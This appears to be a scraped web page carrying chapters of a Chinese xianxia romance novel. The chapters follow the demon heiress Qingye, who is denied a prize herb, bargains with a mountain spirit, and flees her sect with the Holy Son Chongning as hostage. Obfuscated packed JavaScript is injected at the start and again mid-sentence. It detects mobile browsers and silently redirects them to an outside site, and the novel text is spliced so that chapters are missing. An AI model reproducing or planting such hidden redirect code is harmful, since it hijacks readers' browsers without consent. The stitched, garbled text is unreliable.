;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青叶于是不走了,也不拉他的衣袖了,在重宁身旁蹲下身来,也盯着身前的一潭池水看。 果然,重宁低头望向她:“你在做什么?” “陪仙君赏景。”青叶仰头,双眸弯弯,花儿似的面孔朝他一笑。 重宁避开她的眼神,轻嗤道:“秋末已至,草木要渐渐凋敝,哪还有景色可看?” “怎么没有呢?”青叶歪了歪脑袋,指着池中正在落叶的树枝倒影,道,“那花儿开得多好看。” “哪里有花?”重宁问她。 “你看。”青叶指尖轻捻,利用起周遭灵力,将落叶们纷纷聚到一起,又将它们散落在池中。叶片沿着水中枯枝倒影的轮廓缓缓铺展,拼凑成桃花花瓣的形状。 风过时,水面的“花瓣”便跟着微微颤动,在这一池萧瑟秋景里绽出满树芳华。 “花儿好看吗,仙君?”青叶骄傲地扬起小脸,问重宁。 “……好看。”重宁望向那池“桃花”,道。 但没有你好看。他在心里说。 青叶见他唇角微弯,像是被她的小伎俩逗笑。 还是很好哄的嘛。 青叶抖抖衣袍,站了起来,又拉上重宁的袍角。 “怎么了?”男人斜睨她一眼。 “腿酸了,借仙君的力站一下。”青叶理直气壮地道。 这回,他没再拒绝。 青叶牵着重宁的衣袖,同他站在一块儿,望向水中二人的倒影。 她和他之间本隔了半步的距离,可水波荡漾时,池中倒影里的两人,却看起来像是手牵着手,正依偎在一起。 风再次拂过,吹开水面的“桃花”,落叶拼成的虚影散了。池面的涟漪层层荡开,人影也碎了又圆,圆了又碎。 12. 第 12 章 很快,宗门试炼授奖典礼的消息便传给了青叶。 彼时她正在重宁的藏书阁里看书,一只传信纸鹤悠悠然地飞至她肩膀上,知会她明日前往掌门山真元殿,随后化作点点金芒消散在空气中。 仙界的流程走得真慢,规矩也很繁琐。她想起当初在焚月塔的日子,只要制服一个怪物,那家伙就得立刻乖乖地奉上它的内丹。 不过,在仙界也有些好处,那就是这儿有许多书可以看。 重宁的藏书阁内典籍颇丰,她先前来过许多次。刚到无垢宗时,青叶有些担忧自己没法扮演好一个凡人修者,便躲进这里,事无巨细地了解仙界的一切。 魔界与仙界不同,的大部分魔修都不爱看书,他们喜欢通过实战增长经验。 青叶身为魔修,耐心自然也不多,不愿意一本一本细细读,太浪费时间。 于是她想了个办法,选出想要的书一一摊在地面,聚集周身灵力,让万千书页同时振翅般翻飞,典籍中的内容化作无数灵纹,争先恐后钻入她眉心。 重宁走进藏书阁时,正撞见少女坐在竹梯最高层上找书,垂落的发丝被屋内的灵力拂得轻晃,脚下满地典籍正自顾自地翻动着,灵纹旋转在她周身。 圣子大人不禁摇摇头:“这样的读书方式,我还是前所未见。” 青叶指尖原本还夹着本书,见重宁来了,又塞回去,换成了另外一本。 “仙君莫怪,我一会儿就收拾好。”将重宁的地盘搅得一团乱,青叶只好笑嘻嘻地卖乖,迅速从竹梯上爬下来。 爬了一半,重宁便来到她身前,看向她手中拿着的书,“你爬那么高,去禁书区找什么了?” “啊……那儿是禁书区吗?”青叶故作天真地回答,“我不知道呢。” 但其实,青叶心里门儿清。她从前来过不少次藏书阁,但都无法触碰最上层禁书区的典籍。 直到重宁将梦吟赠给她。 梦吟携带了重宁的灵力,如同她在宗门内的通行证一般,让这些禁书也听从她的话。 重宁敲了敲她脑袋,抽走了她手中书。 一本《合欢宗双修指南》。 青叶:“……” 刚刚匆匆忙忙,也没看书名就随便拿了一本! 重宁挑眉,“这便是你要找的书?” “咳咳……”青叶扶额,解释道,“好奇,纯属好奇。” “好奇这个?”重宁兴趣盎然地问。 “自然!”青叶眼珠一转,丝毫没有被抓到做坏事的觉悟,而是理直气壮地道,“男女之事,天经地义,我自然会好奇。” 然而她的手却十分狡猾地从重宁那儿抽出了书,用灵力将它重新送上了书架。 然而送到一半,书又被一道灵力拦截,青叶怎么使劲儿它也上不去了。 “不是好奇吗?”重宁面不改色地盯着她,眸中含着逗弄的笑意,“怎么不看了?” “不看了,不看了。”青叶嘿嘿一笑,终于服软,拉着他的衣袖道,“现在不好奇了。” 重宁这才放过她,让那本棘手的书重归原位。 “你就是仗着灵力高深!”青叶见重宁不问了,任性的劲儿上来,便又有些不忿,“等我修成内丹……” 她一边说着一边从竹梯上往下爬,却不小心踩空了一角。 竹梯摇晃间,青叶被稳稳接住。 凝神草的气息再次近在咫尺,青叶伏在重宁的怀抱中,抓着他坚实的手臂。 “等你修成内丹,然后呢?”重宁的笑声从青叶头顶传来。 青叶:“……” 她被自己尴尬得说不出话了。 “好了,不闹了。”重宁摸了摸她的发丝,将青叶放了下来。 “授奖典礼就在明日,对不对?”他问。 青叶点点头,却见重宁神色有些复杂地看着她。 他开口道:“接下来我要闭关几日,这段时间,要照顾好自己。” “别再这么莽撞了。” 青叶不知他为何突然又要闭关,佯装乖巧地再次点头,又忍不住说:“掉下来的话,我也不会让自己摔着的。” “我知道。”重宁说。 他只是想接住她。 “青叶姑娘很厉害。”重宁语气轻得像叹息,“待修成内丹,叠云峰恐怕也无法留住你了。” 闻言,青叶有些心虚地垂下头。 她的确是要离开的。 “我本是一介孤女而已,是圣子大人心慈,将我带回叠云峰。”她道,“否则,青叶是没有这般机缘的。” “机缘……”重宁眼帘微垂,睫毛在眼下投出浅浅阴影。 他没有说下去。 “好了,回去吧。”重宁最后说,“今夜好好睡一觉。” * 青叶离开书阁后,总觉得今日的重宁有些怪怪的。 或者说,最近的他都有些怪怪的。 模糊的记忆侵入她的脑海。 那日酒醉之时,她似乎搂着重宁的胳膊睡了很长的时间。 那是一段很安稳的睡眠。 重宁在她身边,被他的灵力包裹着,青叶总会觉得很安全。 可明明重宁于她而言,本该是个危险至极的人才对。 今夜格外寂静,前两日的狂风也渐渐偃旗息鼓,山间难得一片沉寂,古宅内格外安静,连往常总爱跑来跑去的江小芦也不见了踪影。 明日还有事,青叶这晚睡得很早。 一夜虽无梦,但不知为何,她心头总有些不安宁之意。 第二日,青叶来到隐月山上真元殿。 明华仙君依旧是热络地同她说话,邀请她入座。在场之人还有诸位长老与在千机幻境中表现出色的弟子们。 重宁没有来。 早晨青叶并未去他的院落附近,不知道他是否在山上。 夏昭来到青叶身边,拉着她坐到自己身边。 “怎么了?”她有些担忧地问青叶,“今天应该开心才对,怎么感觉你脸色不好?” “没什么。”青叶摇摇头,又环望四周入座的弟子们,“宋子弦不在。” “你关心他做什么?”夏昭不忿道,“想必是在万灵山上养伤吧。他伤得似乎很重,闭门不出许久了,没人见过他。” “……伤得这么重吗?不应该。”青叶回想起当时在幻境中,宋子弦手臂上露出的几条黑线,不禁陷入思索。 宋子弦不对劲。他当时在幻境中那豁出性命的样子,像是被人逼着要去夺取碧云雪草。 授奖典礼很快开始。 明华仙君笑呵呵地为每位弟子颁发奖励,他这个掌门当得的确称职,竟能记得每位弟子的名姓与特点,又会针对他们的表现点评鼓励一番。 弟子们得了奖励,皆喜滋滋地离去了。 直到真元殿内只剩青叶一位弟子。 她心中不好的预感愈发强烈。 “青叶小友,请过来吧。”明华仙君渐渐褪去了和蔼至极的微笑,唤青叶上前时,语气仿佛在叹息一般。 然后,她便从掌门口中得知了那个消息。 ——她无法得到碧云雪草。 “为什么?”青叶站在原地,感觉手指在慢慢变凉。 她不好的预感终于应验。 明华没有回答,青叶身后响起玉丹的声音:“根据溯回镜中的记忆,你在最后击败宋子弦时,用的并非剑法。” “此次宗门试炼的要求你应该很清楚,弟子间对战必须用剑。” 青叶深吸一口气,转过头对玉丹道:“我那时是在救他。” “他不要命地往前冲,差点掉落悬崖,你们在溯回镜中应该能看得一清二楚。” “规则就是规则。”玉丹竟勾起一抹极浅的笑,“你虽是救了他,却也同时将他打晕。” 青叶不可置信地看向她。 星驰在此时低声开口:“最后一击,也是救人之举,为何不可通融?” 明华身为掌门,垂眸看向众人,开口问道:“座下各位仙长怎么看?” 场上的大半仙长显然早已与玉丹通过气,纷纷赞成她的言论。 于是此事便只能尘埃落定。 明华重重地叹了口气,安慰道:“青叶小友不必失落,虽不能拿到碧云雪草,但依然能得到颇为丰厚的奖赏作为补偿。” “为了公平起见,碧云雪草将一直放在真元殿内,继续作为下次宗门试炼的头奖。青叶小友,你还有机会。” “公平?机会?”青叶冷笑。 她没有机会了。她也没有时间了。 青叶想,难道真是她做错了? 她当时不该救宋子弦。甚至于,她不该寄希望于这该死的宗门试炼。 她本不属于仙门,本是他们最痛恨的魔,所以拿不到神君降下的福祉,也是应当之事? 可无垢神君降下此物时,分明提及“不论族类门派,皆可蒙益”。 她千算万算,却未曾算到人心。毕竟,她从前只和妖魔交过手,而妖魔没有人心。 青叶最终走出了真元殿。 手中拎着一只芥子袋,里面装满了所谓的补偿。 夏昭等在门外,见青叶失魂落魄地走出来时,吓了一大跳。 “怎么了,小青叶?” 听青叶讲完来龙去脉后,她沉默了下来。 “怎会如此……” “青叶,你去咱们的老地方等我,我去去便回。”夏昭忽然如此说道。 * 夏昭回了万灵山,在玉丹的寝殿内等到了她。 “你来做什么?”玉丹睨她一眼,道。 “你为何要如此为难于她?”夏昭盯着眼前的女人,沉声开口。 “你说的是谁?”玉丹皱眉。 “还有,你该喊我一声师尊。” “虽然我们曾一同为散修,但如今我是一山长老,你是弟子,该有的规矩还是要遵守。” “我说的是谁你心里清楚。”夏昭此时带着怒气,并不理会所谓的规矩。 “青叶明明夺得了第一名,她与你无冤无仇,你为何要这样针对她?” “夏昭,你要搞清楚,你现在是在为了一个来历不明的外人在与我争吵。”玉丹面色冷凝,“啪”地一声合上了她的折扇,“规则如此,我做的有什么错?” “即便如此,你不是也没有得到碧云雪草?”夏昭讽刺她,“掌门将其作为下一次宗门大比的奖赏。” “那又如何?我得不到,至少其他人也没有得到。下一次的宗门试炼,我们万灵山的弟子势在必得。”玉丹毫不在乎地说。 “果然如此。”夏昭冷笑一声,“宋子弦和赵如强,就是你手下的棋子吧!你施压赵如强,他便逼着宋子弦去夺取碧云雪草。” 玉丹不置可否,却盯着她,声线像淬了冰一般:“夏昭,你有没有想过,别人只能当我的棋子,而我却容忍你自顾自地和那个丫头组队。” “先前得知赵如强那群人欺凌你,我也为你惩罚了他们。你还有什么不满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780537|190395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足?” “你可知晓,我本打算得到碧云雪草后,将其炼成上百颗丹药,半数分发门下其他弟子,另外半数,我是要给你的。” 玉丹闭了闭眼,继续道:“我们曾一同修炼,情谊深厚,我又长你不少年岁……夏昭,我将你召来无垢宗,便是想让你辅佐于我。” 听闻此言,夏昭也不禁有些动容,可她还是摇摇头,说:“我得来的那些奖赏也不少,足够我修炼。青叶她没有内丹,她是最需要碧云雪草的人。” 玉丹凝视着身前女子,冷静开口:“夏昭,你还是和以前一样,事事相让,为了所谓的朋友,利益都可以不顾。” “你这样的性格,永远成不了大器。” “你可知为何在场大半长老都能达成一致?那个丫头并非池中物,她现在没有内丹便能在千机幻境中拿到第一名,而她的身后,又是尊贵的圣子重宁。若是让她拿到碧云雪草,一是实在浪费,那一株仙草本可福泽上百弟子,二是——假以时日,难保不会威胁所有人的地位。” “没有我出手,也会有别的仙长出手。我不过是站出来当那个恶人罢了。”玉丹叹了口气,走至夏昭面前,“你和你的那个小朋友,还是太天真了。” 夏昭听了这些话,落寞地站在原地,她垂眸道:“这就是我不喜欢这里的原因。” “玉丹,我不想再待在这里了。” “你说什么?”玉丹拧起眉头。 “我说,我想要回家去。” “……此事不是开玩笑的,你最好考虑清楚。”玉丹听了这话,竟有些着急起来。 她无奈,沉默许久后,最终道:“罢了。我给你的朋友指条明路吧。” “宗门内的碧云雪草并非只有这一株。”她道,“多年前,神君也曾赐给重宁一株。只不过那时他在闭关,神君便将这无比珍贵之物转赠给叠云峰山灵,让其守护无垢宗。” “让你的那位小朋友去求求山灵吧。” “只不过,叠云峰的山灵可不好打交道。” “和祂做交易,是有代价的。” “什么代价?”夏昭听闻还有希望,急切地问道。 玉丹沉吟道:“这我便不知了。上一个和叠云峰山灵做交易的弟子还是在几十年前,他被拿走了一半的修为。” “那个丫头连金丹都没有,山灵想要的,恐怕会是她的根骨。” “让她去做选择吧。是要保留自己的天赋,还是成为一个平庸的金丹弟子。” …… 夏昭在流水潺潺的溪边找到了青叶。 她坐在溪畔的草地上,双手抱着腿,盯着水中缓缓游过的鱼儿看。 夏昭轻抚她的肩头,将玉丹长老的话尽数告诉了她。 “你真的要去找叠云峰山灵吗?”她犹豫着问道。 青叶浅浅地朝她笑了一下,那笑容中泛着苦意,“我没有别的选择了。” “怎么没有呢?”夏昭不解,“你还年轻,慢慢修复丹田,总有一日能修成金丹。” 青叶缓缓摇头。 她没有办法和夏昭解释。 这或许是她活下去的唯一机会。 青叶在溪边坐了许久,最终还是起身回叠云峰。 今日是山灵祭夜,十分热闹,傍晚时分,许多弟子们已经开始支起摊子准备吆喝。 青叶本也和夏昭约好要来的。可此刻,她却在喧闹的人流中逆行。 叠云峰的山灵从不参加祭典,祂只在这三夜出现在叠云峰悬崖之上。 所以这一次上山,青叶换了方向,在青石道的半路攀上一道崖壁。 她刚来到叠云峰时,重宁曾告诉过她山灵的存在。 在后山崖的峭壁上,有一棵千年银杏斜生在崖壁裂缝中,枝干半数探入云雾。 山灵就栖身在那银杏树洞之中。 青叶每向上一寸,罡风便如刀割般刮过脸颊。 行至银杏树下,她已被冻得浑身颤抖,手指上满是血痕。树身有个近一丈宽的树洞,洞口浮着淡金色的光。 青叶刚要伸手触碰,一道苍老的声音幽幽从树洞中传来。 “真是稀奇,我这里向来冷清,今日却难得热闹。” “山灵大人……”青叶开口道,“我来是想向您求一样东西。” “找我做交易,不是免费的,你明白吗?” “我明白。” 青叶来之前早已想好,她宁愿被抽根骨,失去一部分天赋,也要换取重修魔丹的机会。 只要修成魔丹,她便不再是凡人,能够离开无垢宗,拥有和叛军抗衡的能力。 失去的天赋,她可以用加倍的修炼换回。 山灵喃喃道:“今日来找我之人,竟都如此坚定。” “好,你要什么?” “碧云雪草。”青叶道。 “哈哈哈哈哈哈哈——”山灵忽而大笑起来,“小朋友,你要的东西已经被人取走了。” 青叶如遭重击,忙问道:“是谁?” “你应当认识这人才对。”山灵缓缓开口。 “便是此山的主人,无垢宗的圣子大人——重宁啊。” “看在当初这仙草本是神君赠予他之物的份上,我少收了些,只拿走了他三分之一的修为。” 闻言,青叶愣愣地站在原地。 “唉,唉……即便是圣子大人……” 山灵低沉的笑声在山谷间回荡,风吹过,银杏树落叶纷纷。 “遇到情之一字,也不能抵抗啊。” 17-20 第17章 真元殿前的玉阶被暴雨冲刷得发亮, 积水蜿蜒而下。 明华盯着座下二人,声音沉沉:“重宁,这就是你拼死要护的魔女!如今她横剑于你, 你还要自欺欺人吗?” 大开的正门涌进狂风,青叶单薄的衣衫在风中飘扬, 她剑光凌冽,寒烟紧紧地缠着重宁的脖颈, 让他说不出话来。 站在明华身侧的玉丹长老急忙上前一步,劝道:“圣子大人性命要紧!这魔女心性难测, 不如先放她离去, 再从长计议……” 殿内陷入片刻死寂,唯有雨珠砸在真元殿的琉璃瓦上,发出 “噼啪” 的声响。 青叶握着剑的手紧了紧, 剑尖依旧抵着重宁的右肩下方。 他昨日坦诚相告的命门,此刻, 却成了她要挟的工具。 青叶不再犹豫, 挟持着重宁飞身而起,冲出真元殿,召来一片祥云, 便要从隐月山往宗门外飞去。 “让开!” 她冷厉的声音穿透雨幕。 守在真元殿外的弟子们面面相觑, 手中的剑虽已出鞘,却迟迟不敢上前 。 这是个魔女, 他们本该阻拦,可掌门暂未发话, 圣子还在她手中,谁也不敢拿圣子的性命冒险。 最终,弟子们还是缓缓退开, 让出一条路,看着那朵祥云载着两人,消失在茫茫雨雾中。 这个时分,天际已泛起鱼肚白,可暴雨却没有半分停歇的迹象,愈下愈大。 青叶凝聚魔气,在重宁与她头顶形成一道屏障,挡住倾泻而下的暴雨。可雨势太大,那屏障被砸得不断晃动,冰冷的雨水还是渗进来,打湿了她的发丝。 青叶的碎发散在脸侧,看起来狼狈至极,可她一双眼却亮的出奇,仿佛雨中燃烧的两团玄火。 祥云刚飞出无垢宗山门,四匹通体半透明的黑马便破空而来。 黑马们四蹄踏空,在雨中发出萧萧嘶鸣声,牵引着身后的一叶风舟。舟身由淡青色的灵木打造,舟檐下挂着的黑色铃铛随狂风摇晃,却并未发出一点声响。 早在恢复魔丹之时,青叶便暗中与洄夜取得了联系。他已先行去往界外之地,便派出这黑马风舟,埋伏在无垢宗外,只等关键时刻前来接应她。 青叶弃了祥云,扶着重宁踏上舟板。 此时此刻,重宁的重量几乎全部压在她身上。他本就失了修为,尚未调养好身体,方才又遭明华重击。 青叶能感觉到,她怀中的圣子大人正在迅速失去气力。 他双眸微微阖上,呼吸落在她颈侧,灼热而凌乱。 "仙君"她下意识低唤,却又硬生生咽下后半句话。 不远处,无垢宗的飞马奔腾声渐渐传来。 看来明华最终还是下了命令,追踪他们。 “驾!”青叶对着四匹黑马低喝一声,示意它们尽快离去,同时指尖在空中画下一道符咒,缠绕在缰绳上,用来尽力隐匿风舟的踪迹。 四匹黑马仰头,发出无声的嘶鸣,四蹄踏动,牵引着风舟朝着鹤州以东飞驰而去。 那里,是界外之地的方向。 风舟划破雨幕疾驶向前,很快便将无垢宗的山门远远甩在身后。 青叶带着重宁进了风舟内部,迅速关上舱门,隔绝了外界的风雨。 舱内铺着黑色的绒毯,眼前是一扇屏风,屏风之后设有一方软榻。蓝色的幽灯在角落里燃烧着,驱散些许暴雨带来的阴冷。 重宁被她安置在了软榻之上。青叶抬头看他,只见男人脸色苍白如纸,唇角不断溢出血迹,怕是伤及肺腑。 她眉头微微蹙起。 明华当真是下手狠重,大约是对重宁护她一事狂怒至极。 她没有多做犹豫,抬手在重宁的胸口和腹部连点几下,封住了他几处灵脉,他将淤血吐出。 重宁本已陷入昏迷之中,此刻猛地咳嗽起来,一口黑血吐在绒毯上,触目惊心。 她微微垂眸,敛去眼底神色,转身拿起舱内几案上的陶罐和瓷碗。她还随身带着些止血补元的药草,现在尽数倒了出来。 青叶以魔气化作炉火,淡紫色的火焰舔舐着罐底,很快,清苦的药香在狭小的舱室内弥漫开来。 “咳咳……” 重宁在剧痛中醒来,睁开眼便看见青叶在软榻旁煮药的身影。 她的侧脸一如往日,柔和清丽,可方才那横于他肩头的利剑,也正是出自她手。 重宁凄凉一笑,口中又吐出血来。 他闭了眼,低低开口,像是一句讥讽:“何必劳烦魔女大人?” “……闭嘴。” 青叶头也没回,声音冷得像冰,手中搅拌药草的动作不停。 重宁却像是没听见一般,挣扎着想要起身,可刚一动,便牵扯到内腑的伤势。他忍着疼,仍是要向她伸出手。 他想要握住她的手。 青叶依旧垂眸,没有看他,也躲开了他的触碰。 可重宁却执着地伸出手,苍白的手指在空中虚握了一下,最后死死抓住了她的手腕。他的掌心滚烫,带着失血过多的虚弱,却握得异常用力,指节泛白。 男人声线沙哑,问:“昨日你问我命门时,便已想好了这一刻,是吗?” 他紧盯着她,要一个答案。 青叶终于抬头,迎上他的目光。 他想要答案,她就给他答案,“是。” 重宁唇上染血,笑得惨烈。他抓着她手腕的手松了些,却依旧没有放开,双眸微微失神,望向舱顶,好似失去了最后支撑着他的一口气。 青叶的药这时已煮好了。她端起陶罐,倒出一碗深褐色的汤药,走到榻边,语气依旧平淡:“张口。” 重宁偏过头,双眸微微泛红,不愿看她,也不愿喝她的药。 圣子大人倔强的模样倒是让青叶觉得有些新鲜。 只是这药是一定要喝的。 青叶于是俯身,一只手捏着他的下巴,强行扭过他的头,另一只手端着药碗,将汤药一点点灌进他嘴里。 药汁顺着重宁的唇角溢出,沾湿了他的衣襟,直到苦涩的汤药呛得他咳嗽起来,才不得不将药咽下去。 “咳咳……”重宁无力地倒在枕上,如玉的面孔染上几分灰败之色,“既是利用我,何必喂我喝药?” “怕你死了。”青叶松开手,空碗落在几案上,砸出一声脆响。 她扯出一抹冰冷的笑,“无垢宗肯定还要追杀我。你若死了,我便没了人质。” 她说着,从袖中拿出一方素帕,狠狠拭去他唇角的血迹。 ——那帕子上绣着芙蓉花的纹样。是重宁曾留给她的。 那日青叶练剑遭反噬,高热不退,他守在她身边多时,最后离去时,在这帕子上留下了他的灵力。 青叶握着这方帕子,才安然闭眼睡去。 那日的回忆在二人脑海中涌现,重宁眼中不由得染上深重的痛色。 青叶一身清简,随身携带的为数不多的事物,几乎都与他有关。 她看向重宁,忽而开口,问道:“后悔吗?” 重宁不答,只是将视线投向她的手腕处—— 青叶还戴着他送的梦吟。 青叶注意到了他的视线,便用手轻轻一掰,取下了梦吟,交还给他。 “谢过圣子大人曾经庇护之恩。”她声色淡淡。 “如今,物归原主。” + “呵。”重宁自嘲般地轻笑,却并未接过,他转过了身,背对青叶。 青叶在方才的药中还放了安神的药材,他咳嗽几声,眼前模糊,无知无觉地陷入了睡眠。 青叶叹息一声,等重宁睡着后,将梦吟放在了他枕边。 室内又安静了下来,外界的风雨却没有停歇。 狂风卷起雨幕,拍打着风舟的船身。 青叶走出内舱,关好门。前方,四匹黑马依旧在疾驰着,马蹄踏过云层,驾驶着风舟,穿梭于暴雨雷电之间。 青叶的衣袍在风中猎猎作响。她一边观察着四周的情况,一边在空气中画出符咒,联系洄夜。 很快,洄夜感应到她的召唤,低沉嘶哑的声音在她脑海中响起:“殿下,风舟距离界外之地还有小半日路程。” “嗯。”青叶对着空气轻声道,“无垢宗在追杀我。另外,叛军恐怕也会很快知晓我的踪迹。” 被她杀死的赵如强和叛军关系匪浅,大概率是他们在无垢宗的内应。他一死,叛军肯定会接到消息。 无垢宗对她穷追不舍,即使她隐匿得再好,也不免会走漏风声。 “殿下莫怕。”洄夜沉声道,“魔尊大人在界外之地还留下了一队人马,待殿下与我们会合……” “我不怕。”青叶道。 她遥望远处沉沉云雾,暴雨连绵不息。 如同她一直以来的人生。 青叶不愿再想。她转换了话题,道:“我已查清母亲魂魄之上骨符的来历。” 不久前,洄夜曾联系过她,说是潜入了叛军内部,为她拖延时间。 在那里,他发现了一个秘密。 原来叛军一直对她穷追不舍,不仅因为她是魔尊最后的骨血,更是为了一个法宝——血契骨符。 骨符是修者们用于封印之物。被封印者越强大,所需骨符的等级也越高。 血契骨符,是由无数人或兽的精血凝结而成的契令,最终化为一个符咒,是最上等最强大的骨符。 叛军半年前侵入魔宫,翻了个底朝天却也没能找到那枚骨符在何处,于是便认定在逃亡的青叶与洄夜二人身上。 洄夜得知这个消息时,立即便告知了青叶。而青叶也很快想到,半年前,她的父亲魔尊慕沧澜将死之时,告诉她让母亲魂魄得以存续的,也是一个上古骨符。 洄夜告诉她:“当初夫人身死,魔尊大人狂乱焦急,什么法器咒术都用了,只有这个神秘的骨符起作用。但夫人魂灯虽未灭,魂魄却消失了。按骨符的作用,应是被传送至封印之物所在的地方。其后,大人便一直找寻封印的来历,期望找到夫人。” 魔尊通过青叶与母亲的血缘,确定了青叶母亲的魂魄在界外之地。 然而,他并不知晓那骨符到底封印着什么东西。这个秘密,却让叛军知晓了。 青叶在洄夜禀报她之后,立即去了重宁的藏书阁,在禁书区找到了她想要的信息。 “我之前在无垢宗找到了一本禁书。”青叶说,“上面记载着,当年,千余修士以心头血汇成血契骨符,将上古邪祟烛阴烬被封印于鹤州界外之地万魂窟。那骨符能将人濒散的魂魄锁在世间,传送至万魂窟,以镇压烛阴烬。” 那日,她当然不是心血来潮地随意翻看典籍。 她是为了寻找这个秘密。 叛军知晓被封印之物,很快也要知晓她去了界外之地。那么,她也要掌握那血契骨符的来历,才能更好地应对未知。 “烛阴烬……”洄夜低声喃喃道,“祂的封印在传说中早已被销毁了,没想到竟阴差阳错,被魔尊大人用在了夫人的魂魄之上。” 他的声音顿了顿,带着几分凝重:“殿下,叛军的目的已经很清晰了,他们要的就是抢夺骨符,揭开烛阴烬的封印,让天下大乱。” 青叶眯了眯眼,指尖的魔气不自觉地凝聚,“他们想夺,也要看看有没有那个本事。” 从前仙魔之前的平静全由一纸契约维系,但她的父亲已经成了个疯子,如今更是死于叛军之手……叛军野心勃勃,欲望不止于征服魔界。 整个修界的平静很快要被打破。 但青叶对此没有太大的波澜。她的生活一直很不平静,如今也没有差别。 她只想做一件事。 她要去为母亲引魂,让母亲投胎转世。 为的不仅是魔尊承诺她的,母亲身上的“保命之道”,更是因为,青叶想去见母亲最后一面。 那是她世上仅存的亲人。 所以,在母亲转世之前,她不会让任何人夺得那维系魂魄的骨符。 “殿下放心,属下带领界外之地的魔将魔卫誓死守护殿下。” 洄夜恭敬地道。 “另外,恭喜殿下魔丹大成 —— 属下已感应到您身上的魔气比之前强盛了许多。属下已在界外之地等候,随时准备迎接殿下。” “我还带了一个俘虏回来。” 青叶忽而开口。 洄夜问:“是谁?” “无垢宗的圣子大人。” 青叶刚说完,便掐断了与洄夜的联系,身后破空声骤然响起——是无垢宗的追兵赶上来了。 她迅速施展魔气,挡住身后云层中窜出的几道金色剑光。 接着纵身一跃,青叶落在为首的黑马背上。 “驾!”她亲自御马,要甩开追兵。黑马很快感应到了她的意图,四蹄踏动,加快速度,牵引着风舟朝着更深的云层中钻去。 青叶继续抬手凝聚魔气,抵挡身后持续袭来的剑光。 可追兵越来越多,他们见用剑不成,便射出几道灵箭,绕过魔气屏障,直直朝她而来。 杀气尽显,是要取她性命。 青叶坐在马上,侧身避开,却还是被一支冷箭擦过手臂,划出一道血痕。 她皱了皱眉,却没太在意,只是夹紧马肚,继续向前疾驰。 后方追兵见灵箭有用,便源源不断地射来,青叶有些应接不暇,却还是将大半魔气施加于马匹与风舟之上。 可就在这时,射向她的又几支箭忽而被一股灵力挡下,又将剩余的灵箭纷纷击落。 身后追兵似犹豫片刻,暂缓了攻击,青叶趁此机会操控黑马,牵引着风舟穿梭进前方一片黑沉沉的云雾间,又在此设下迷雾瘴,紊乱仙门追兵的追踪之术。 等彻底甩开了追兵,青叶才又从黑马上跃进风舟。 她的发丝衣衫又浸满了水,湿漉漉地进了内舱,果然便见重宁已经醒了。他盘坐在榻上,微阖着双眼调整气息,可脸色却比之前还要差。 因方才动用了灵力,让他唇边流下一道血丝。 青叶没来得及为自己弄干衣裳,便点了重宁的几处穴道,这次是为他止住内伤。 陶罐内还有余下的药汤,她指尖又燃起魔火,将凉了的药再温一遍。 “为什么要救我?”青叶低声问。 重宁终于睁开眼,一双眸子清清冷冷,不愿看她,只是道:“你若死了,我从这风舟上掉下去怎么办?” “你还真会找借口。”青叶轻笑,缓缓俯身,凑近他,鼻尖几乎要碰到他的鼻尖,“何必摆出这副冷冰冰的表情……” 她话音未完,却故意放慢了语速,目光落在他的唇上。 像是要吻他一般。 他们二人此时贴得极近,重宁的呼吸瞬间乱了,一时没能躲开。 可青叶却无情地掠过他的唇瓣,偏过头,在他耳畔轻声开口,“……之前挟持你的时候,你不是明明可以挣脱吗?” 那时在真元殿内,青叶长剑横在重宁右肩——那是他灵脉薄弱之处。剑刃贴着他,却并未真的用力。束缚着他的寒烟力道不松不紧,以他如今受伤了还能使用灵力的程度,他那时明明可以强行挣脱她的束缚。 可他没有。 重宁的身体微微一僵。青叶贴着他,微凉的手再次覆在他的右肩之上,不让他动。 “还有,你早知我是魔了对吗?”她继续道,声音压得更低了,“我也是恢复魔丹后才发现,叠云峰上一直覆盖着结界,却是掩藏魔气的结界。” “而你给我的梦吟,也同样有掩藏魔气的效用。” “你……”重宁死死盯着她,嘴唇动了动,想说什么,却又说不出口。 青叶笑眯眯地看着他,“圣子大人,你明明心甘情愿,现在又何必嘴硬?” 她温润气息洒在重宁耳畔颈侧,声线还如曾经和他撒娇卖乖时一般。他抵抗不能,只得闭眸。 不能再看这魔女。 可青叶的声音却没有停下,带着得逞的笑意,“圣子大人,为什么不戳穿我?” “就这样愿意被我哄骗吗?” “当日在玉京海岸边是如此,今日也是如此。” 陶罐中的药被温好,青叶再次倒在碗中,递到他面前。 “你不喝的话,我又要灌给你了。” 重宁不发一言,终是接过,仰头一饮而尽。 苦涩的药味在他口中蔓延。 重宁知晓,自己要再次陷入睡梦之中。 可睁眼闭眼,他能看见的只有她而已。 并无分别。 重宁躺在枕上,眼角仍泛着红,还是不死心地望向她。 “阿叶。”他竟这样唤她。 “那日你吻我,也是你计划中的一环吗?” 他敛眸低声问道。 青叶避开了他的视线,没有回答。 “圣子大人,你还是好好歇息吧。” 风舟越往界外之地走,风雨便越小,到最后,连风声也变得小了起来。 风舟之外的景象也渐渐发生了变化,原本漆黑的云层消失了,取而代之的是一片灰蒙蒙的天空。下方也不再是密密麻麻的仙界宗门,而是连绵不断的荒山与大片的野草地,在秋末时节更显萧瑟凋零。 界外之地——六界内无人愿意涉足的地方,常年被灰蒙蒙的暗雾笼罩,灵气稀薄。寻常修者若是进来,也走不出这无尽的大山,最后结果多半是灵力耗尽,亦或是走火入魔而亡。 而此地,却在上一任魔尊多年筹谋之下,驻扎了不少魔将魔卫。 风舟降落到一片平坦的荒原上,四面被高山围绕,不远处隐约可见几座被薄雾笼罩的建筑轮廓。 洄夜带着一队魔卫前来接应青叶。 